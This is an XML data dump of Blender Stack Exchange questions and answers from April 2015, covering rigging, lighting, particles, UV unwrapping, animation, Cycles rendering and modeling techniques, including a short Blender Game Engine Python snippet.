  <row Id="29151" PostTypeId="1" CreationDate="2015-04-30T01:18:51.227" Score="1" ViewCount="84" Body="&lt;p&gt;I am trying to skin my creature and I can skin one side. However, the other side doesn't have the vertices and I am not sure how to get them or what when wrong. I parented the bones to the creature and then hit box mode to select the areas where need skinned, but I cannot select one entire side. I attached an image for it to be seen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;img src=&quot;https://i.stack.imgur.com/0GtZs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-06-30T13:40:20.610" Title="Missing vertices when skinning" Tags="&lt;rigging&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29153" PostTypeId="1" CreationDate="2015-04-30T02:37:28.773" Score="2" ViewCount="324" Body="&lt;p&gt;I'm trying to light a scene in blender. I have set the diffuse color but want it to reflect ambient light as well. When I turn up the ambient light reflection and turn up the scene ambient light, the object reflects the ambient light but reflects white light instead of the green light I want it to. Its produces a washed out effect. How do you light it so the dark part of the sphere reflects a little green from the ambient light and the bright spot reflects the green from both the ambient light and the diffuse light.&lt;/p&gt;&#xA;" OwnerUserId="14074" LastActivityDate="2015-04-30T02:37:28.773" Title="Allow Blender Matierals to Reflect Ambient Light Color" Tags="&lt;light&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29154" PostTypeId="2" ParentId="29125" CreationDate="2015-04-30T02:54:54.030" Score="3" Body="&lt;p&gt;Using the example shown for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bge.types.KX_MeshProxy.html&quot; rel=&quot;nofollow&quot;&gt;KX_MeshProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;cont = logic.getCurrentController()&#xA;object = cont.owner&#xA;&#xA;for mesh in object.meshes:&#xA;   for m_index in range(len(mesh.materials)):&#xA;      for v_index in range(mesh.getVertexArrayLength(m_index)):&#xA;         vertex = mesh.getVertex(m_index, v_index)&#xA;         # Do something with vertex here...&#xA;         # ... eg: color the vertex red.&#xA;         vertex.color = [1.0, 0.0, 0.0, 1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mesh.getVertexArrayLength(matid)&lt;/code&gt; tells you how many vertices are in the mesh, you then loop through each by increasing the vertex index which is the second value to &lt;code&gt;getVertex(matid, index)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying that to your sample -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = own.meshes[0]&#xA;for v_index in range(mesh.getVertexArrayLength(0)):&#xA;    vert  = mesh.getVertex( 0, v_index)&#xA;    pos = vert.getXYZ()&#xA;    #alter pos&#xA;    vert.setXYZ(pos)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-04-30T02:54:54.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29155" PostTypeId="1" CreationDate="2015-04-30T03:06:11.093" Score="4" ViewCount="1234" Body="&lt;p&gt;Having trouble with hair particle system on a vertex group on version 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a single head mesh (post mirror-apply, already checked MeshLint and normals) with multires modifier on. I created a beard vertex group to control the area to grow my beard/mustache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ij2p0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I specify my beard vertex group under &quot;density&quot;, the generated hair only stays in the vertex group area on one half of the mesh, and spreads outside the area and onto parts of the face, neck, and ears in the other half. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2SItW.png&quot; alt=&quot;only with density specified&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I specify both &quot;density&quot; and &quot;length&quot; to my beard vertex group, the generated hair does stay in the vertex group area on both halves of the head mesh, but there are glaring bald spots despite having &quot;Even Distribution&quot; toggled on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjFFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hesitant on resorting to replicating and separating parts of my mesh in order to control hair growth, which gives me the expected correct behavior. How do I do this without resorting to this hack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZxQIy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if anyone could provide any assistance on my problem.&lt;/p&gt;&#xA;" OwnerUserId="14073" LastEditorUserId="241" LastEditDate="2016-09-30T00:10:15.940" LastActivityDate="2016-09-30T00:10:15.940" Title="Why is this hair particle system not properly into account the 'density' vertex group?" Tags="&lt;particles&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29156" PostTypeId="1" AcceptedAnswerId="29157" CreationDate="2015-04-30T03:47:24.563" Score="7" ViewCount="8321" Body="&lt;p&gt;When saving my projects the default directory sometimes opens to &lt;code&gt;C:\&lt;/code&gt; but I have my blender projects saved in my &lt;code&gt;D:\Blender Projects&lt;/code&gt; directory. Is there a way to make this directory the default so that I don't have to manually type it in every time I want to save something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would apply when opening files as well. My reference files are saved in a similar location &lt;code&gt;D:\Blender Projects\References&lt;/code&gt; but to access them I have to type the D drive in manually because it default opens the C:\ drive every time.&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="599" LastEditDate="2015-04-30T04:19:53.000" LastActivityDate="2017-04-30T12:14:12.473" Title="How do you change the default directory for saving/opening files?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;file-browser&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29157" PostTypeId="2" ParentId="29156" CreationDate="2015-04-30T05:00:38.587" Score="5" Body="&lt;p&gt;You can't as Blender doesn't give us a way to do this. As gandalf3 says above in the comments it should use the last directory you accessed a file from in your current session. If you find yourself going to the same place several times, you can add a &lt;em&gt;bookmark&lt;/em&gt; under &lt;em&gt;Bookmarks&lt;/em&gt; or see your last visited folders under &lt;em&gt;Recent&lt;/em&gt; in the sidebar. There should also be system bookmarks for your drives so no need to type if you can help it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQpVh.png&quot; alt=&quot;-----&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-04-30T05:00:38.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29158" PostTypeId="1" AcceptedAnswerId="29171" CreationDate="2015-04-30T06:44:25.933" Score="0" ViewCount="4841" Body="&lt;p&gt;my undo does not work on 2.74, but it does work perfectly on 2.73 and older.&#xA;If I change keymapping from ctrl + z to something else, it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating system is Win 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for you help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tapio&lt;/p&gt;&#xA;" OwnerUserId="14075" LastActivityDate="2015-04-30T10:33:23.693" Title="Undo not working on 2.74" Tags="&lt;shortcut&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-30T14:00:19.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="29160" PostTypeId="1" AcceptedAnswerId="29178" CreationDate="2015-04-30T07:00:34.483" Score="2" ViewCount="87" Body="&lt;p&gt;anybody could explain me why the top part of this can doesn't unwrap as a stripe?&#xA;unlike the middle and bottom sections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the blend file: &lt;a href=&quot;https://drive.google.com/file/d/0B2TovTwIWuC7ZFFVMXBSQjhBX0k/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B2TovTwIWuC7ZFFVMXBSQjhBX0k/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMDZp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13671" LastActivityDate="2015-04-30T14:05:12.833" Title="Unwrap can as stripes" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29161" PostTypeId="1" AcceptedAnswerId="29194" CreationDate="2015-04-30T07:54:59.867" Score="15" ViewCount="2259" Body="&lt;p&gt;I know that the Fresnel and Layer Weight nodes do much the same thing, but with one accepting a proper Index of Refraction, and the other a value between 0 and 1. I have always used the Fresnel node as it allowed me to simply look up the proper IOR of any specific material online and plug it in. However, if I wanted to use Layer weight, how would I go about translating an IOR, which I've seen as low as .18 and as high as 2.5, into a value between 0 and 1 to get the same effect out of layer weight? Is there a conversion formula or ratio?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-01T10:09:24.683" Title="Relation between Fresnel IOR and Layerweight blend?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29162" PostTypeId="1" AcceptedAnswerId="29164" CreationDate="2015-04-30T08:26:33.977" Score="2" ViewCount="300" Body="&lt;p&gt;I'm working on a circulair symetric design that has to be annimated (think gears in gears). Now I have animated one of the parts and would like to copy and paste the animation into the other parts. Is there an easy way to take an already animated part copy and paste it without having to redo the keyframes (I'm working in 6 fold symetry so that is 32 parts). &lt;/p&gt;&#xA;" OwnerUserId="3273" LastActivityDate="2015-04-30T09:37:54.327" Title="how to copy and rotate already animated objects" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29164" PostTypeId="2" ParentId="29162" CreationDate="2015-04-30T09:23:58.440" Score="2" Body="&lt;p&gt;Copy your object and parent it to an empty object, then transform the empty object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a copy already exists go to -&gt; Dopesheet Editor, choose Action Editor, select the copy and choose the action from the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mirror the animation you can use negative scaling.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-04-30T09:28:55.767" LastActivityDate="2015-04-30T09:28:55.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29165" PostTypeId="2" ParentId="29162" CreationDate="2015-04-30T09:37:54.327" Score="1" Body="&lt;p&gt;Select each one of the other gears and set their active action to the action you have already created ( the animation you did to the first gear is stored as an action ) : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the object &lt;/li&gt;&#xA;&lt;li&gt;in Dope sheet set it to action Editor&lt;/li&gt;&#xA;&lt;li&gt;select the action of the first gear&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now all the gears share the same action &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/owmCg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-30T09:37:54.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29166" PostTypeId="1" AcceptedAnswerId="29170" CreationDate="2015-04-30T09:38:38.760" Score="1" ViewCount="1827" Body="&lt;p&gt;I'm trying to limit the number of bone-weights per vertex to 2 or 3, and there is an operator in Blender in the weight-paint mode (Tool pane) called &quot;Limit Total&quot;. But there is no way to change the default number of 4 weights per vertex in the UI... that I can find at least. Is this a bug or omission in 2.7 or am I just UI-blind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14250/how-to-restrict-vertex-weights-to-no-more-than-n-number-of-bones&quot;&gt;How to restrict vertex weights to no more than N number of Bones?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do it through the python console as the underlying operator has the arg &quot;Limit=4&quot; as default and can be changed, but it is somewhat inconvenient.. &lt;/p&gt;&#xA;" OwnerUserId="13375" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-04-30T10:26:51.850" Title="Change the number of bones in Limit Weights, in 2.7+" Tags="&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29167" PostTypeId="2" ParentId="29008" CreationDate="2015-04-30T10:01:58.070" Score="2" Body="&lt;p&gt;this method may not give you a good mesh but it looks OK :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a Edge split modifier before the solidify modifier&lt;/li&gt;&#xA;&lt;li&gt;set the solidify modifier offset to 0.0&lt;/li&gt;&#xA;&lt;li&gt;other modifiers are added to smooth it out&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ofWXH.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a cross junction :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1WgW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solid view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1Xff.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after Bevel and Subsurf modifier :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5ElX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-30T10:01:58.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29169" PostTypeId="1" CreationDate="2015-04-30T10:06:12.743" Score="3" ViewCount="52" Body="&lt;p&gt;I'm animating a person who kneels and puts his hands on the ground but I don't know how to make the hands stopping at the ground level (the hands, since they are parented to the chest, follow its movement)&#xA;Could somebody help me?&#xA;Hope I've made myself clear!&lt;/p&gt;&#xA;" OwnerUserId="14080" LastActivityDate="2015-04-30T10:06:12.743" Title="How can I make the hands stopping at the ground level?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29170" PostTypeId="2" ParentId="29166" CreationDate="2015-04-30T10:26:51.850" Score="2" Body="&lt;p&gt;It is in the UI (you need UI glasses ) in the operator properties panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FuAq2.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-30T10:26:51.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29171" PostTypeId="2" ParentId="29158" CreationDate="2015-04-30T10:33:23.693" Score="2" Body="&lt;p&gt;You probably have set the undo steps to Zero in the User Preferences :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to : &lt;strong&gt;User Preferences&lt;/strong&gt;➜&lt;strong&gt;Editing&lt;/strong&gt;➜ &lt;strong&gt;Undo&lt;/strong&gt;➜ &lt;strong&gt;Steps&lt;/strong&gt;  and set it to some number ( default 32 ) then save the settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C78iR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-30T10:33:23.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29172" PostTypeId="1" CreationDate="2015-04-30T10:53:36.070" Score="2" ViewCount="183" Body="&lt;p&gt;I have 2 models, one done by photoscan and one done by 123dCatch.&#xA;Is there a way to fit the 123dcatch model inside the photoscan one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing it by hand but my result are very shady.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6142" LastActivityDate="2015-04-30T10:53:36.070" Title="Scale, rotate and align 2 similar models" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29173" PostTypeId="2" ParentId="29008" CreationDate="2015-04-30T10:56:43.823" Score="1" Body="&lt;p&gt;Currently there are no immediate solutions (that I can think of) to the 'variable width walls from edge-based mesh' problem, though it is interesting. There are however &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/offset_edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;Offset Scripts&lt;/a&gt; that generate faces from edge-based meshes, but they don't work with the T junction, only edge-loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A potentially doable approach is to first make your maze shape using an edge based mesh. Then convert it to a Curve (Ctrl+C) (Curve from Mesh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBMcU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then tweak the Bevel Depth to get the preferred thickness (radius). Then stick on a Remesh Modifier (or two - &lt;em&gt;Blocks&lt;/em&gt; seems to be a good mode), but you ought to experiment which it until it comes close to what you want. If you want thinner walls you decrease the Bevel depth of the Curve, and adjust the Scale and Octree Depth in the Remesh mmodifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qKwYO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-30T11:12:48.047" LastActivityDate="2015-04-30T11:12:48.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29174" PostTypeId="1" AcceptedAnswerId="29175" CreationDate="2015-04-30T11:28:59.253" Score="7" ViewCount="1209" Body="&lt;p&gt;If I use the Cycles rendering engine, leave the default Cube, delete the default lamp, set the diffuse color of the cube to some color, why will the cube without any lamps still render visible? Does the default background emit light? Where can I tweak the amount/color of light it emits?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="1770" LastEditDate="2015-04-30T11:55:47.303" LastActivityDate="2015-04-30T15:16:23.110" Title="Why is the cube visible even though there are no lights?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29175" PostTypeId="2" ParentId="29174" CreationDate="2015-04-30T11:35:37.120" Score="12" Body="&lt;p&gt;The background is emitting light (by default). You can see the setting of the world background in the world Tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tqqdi.png&quot; alt=&quot;Screenshot of world tab, showing a background strength of 1.000&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="7742" LastEditDate="2015-04-30T15:16:23.110" LastActivityDate="2015-04-30T15:16:23.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29176" PostTypeId="1" CreationDate="2015-04-30T12:54:06.457" Score="0" ViewCount="104" Body="&lt;p&gt;I just bought a new GTX 970 and ive tried to render some scenes I had to test the performance but everything I render with my GPU comes out blank, just transparent. If I switch over and render a scene with my CPU it renders fine, so I could really use some help with finding a solution to my problem.&lt;/p&gt;&#xA;" OwnerUserId="14082" LastActivityDate="2015-04-30T14:50:48.803" Title="New graphics card not rendering anything" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-05-01T01:30:51.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="29177" PostTypeId="2" ParentId="12342" CreationDate="2015-04-30T14:03:33.653" Score="2" Body="&lt;p&gt;I would try using the &lt;a href=&quot;http://www.blendernation.com/2014/06/03/bool-tool-0-2-released/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bool Tool&lt;/strong&gt; &lt;/a&gt; addon. it makes the interface more elegant, and generally speeds up the workflow, as well as making better cuts.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-04-30T14:03:33.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29178" PostTypeId="2" ParentId="29160" CreationDate="2015-04-30T14:05:12.833" Score="1" Body="&lt;p&gt;From your image it looks like you have overlapping loops at the top of your cylinder, you can see that because of the face indicators appearing in the middle of the edges, and thats why you could not select the hidden edge to mark the seam and have a proper unwrap.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-30T14:05:12.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29179" PostTypeId="2" ParentId="29176" CreationDate="2015-04-30T14:50:48.803" Score="3" Body="&lt;p&gt;As it shows in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/Cycles&quot; rel=&quot;nofollow&quot;&gt;Blender Release notes&lt;/a&gt;, GTX 9xx series are supported from version 2.73. &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-30T14:50:48.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29180" PostTypeId="1" CreationDate="2015-04-30T15:14:54.993" Score="12" ViewCount="5878" Body="&lt;p&gt;I'm trying to animate a mesh via it's skeleton on a webpage using a BVH. Here's the overall process of what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a character using MakeHuman and export (mhx format? seems to work best).&lt;/li&gt;&#xA;&lt;li&gt;Import the character into Blender.&lt;/li&gt;&#xA;&lt;li&gt;Retarget to a BVH using the MakeWalk plugin for Blender.&lt;/li&gt;&#xA;&lt;li&gt;Export the character to json using the Three.js exporter.&lt;/li&gt;&#xA;&lt;li&gt;Export the BVH (not sure if this is necessary, but I figured I might have better luck getting the BVH to match up with the skeleton after retargeting)&lt;/li&gt;&#xA;&lt;li&gt;Load the character into a web page using Three.js&lt;/li&gt;&#xA;&lt;li&gt;Animate the character using a BVH.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The animation looks great in blender. I'm trying to use the BVH viewer code from &lt;a href=&quot;http://lo-th.github.io/olympe/BVH_player.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; modified to use the skeleton created by MakeHuman instead of it creating a skeleton from the BVH data. Whenever I try to animate the character, it gets very distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the desired result (more or less) rendered from Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0azsK.gif&quot; alt=&quot;desired result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what is happening on the webpage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ugzNG.gif&quot; alt=&quot;buggy result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's getting totally messed up. I also had to zoom way out in order to see the whole image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using different rigs, different file formats, resaving the BVH after retargeting, you name it. I also tried to follow the example &lt;a href=&quot;https://gameportalen.com/three.js_Skeleton_animation_Makehuman_export/MakeHuman7.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; (scroll down to see the instructions), but it says to delete the armature modifiers and when I do that, no bones get exported and Three.js throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss. Is there an up-to-date example somewhere that shows how to do what I'm trying to do?&lt;/p&gt;&#xA;" OwnerUserId="2703" LastEditorUserId="2703" LastEditDate="2015-05-01T15:17:48.307" LastActivityDate="2017-04-25T22:43:34.810" Title="Animate MakeHuman character with BVH using Three.js" Tags="&lt;export&gt;&lt;armature&gt;&lt;makehuman&gt;&lt;three.js&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29181" PostTypeId="2" ParentId="29030" CreationDate="2015-04-30T15:17:44.707" Score="1" Body="&lt;p&gt;There is a property called 'Hidden Wire' which I think might do what you are talking about. When you are in edit mode the option will appear in the 'Properties' toolbar in the 3D view (&lt;kbd&gt;N&lt;/kbd&gt;) in the 'Shading' panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lng4G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will change the object into a wireframe shaded mode (so make sure you turn off any other wire/x-ray properties you may have turned on for that object) but will occlude faces behind the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have turend on 'Hidden Wire' while in edit mode of a sphere. The sphere has turned to wire so I can see the object within it, but I can't see the other side of the sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JZyYR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-04-30T15:17:44.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29182" PostTypeId="2" ParentId="12342" CreationDate="2015-04-30T15:21:04.173" Score="3" Body="&lt;h3&gt;No Knife!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In STL (the main 3d printing exchange format) everything gets triangulated, converting to quads is a waste of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BoolTool has been mentioned, it does add needed functionality to the Boolean Modifer (which can be unintuitive). If you have complicated geometry, curved surfaces with thickness into which you want to cut shapes, then that's a good way to go. But, if like in your image, you have a flat surface then modeling the negative space and snapping it into position and then reconnecting the faces might take the same amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take your basic shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sOSV2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you model the negative space, in place. Learning how to use the snapping tools (vertex snaps in particular) will make modelling easier and speed it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to remove the object wall, place the negative space where it needs to be, then attach the wall again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EeGXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;https://i.stack.imgur.com/BxKfm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Then select an edge of the remaining opening by holding Alt and Right clicking, this selects the edgeloop if possible (usually it will). Then press F to fill this shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5THu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the faces Filled you can press Ctrl+T to triangulate selected faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OI3AV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or tidier like yours&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2syHP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first this may seem like a backwards approach, but when you have simple geometry to cut into the booleans are not the only approach.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alt + F&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/faces.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs: Meshes/Editing/Faces&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; is like fill but acknowledges internal boundaries. Islands to exclude from the fill.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GIMqr.png&quot; alt=&quot;enter image description here&quot;&gt; .&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="24421" LastEditDate="2017-03-22T15:07:49.590" LastActivityDate="2017-03-22T15:07:49.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
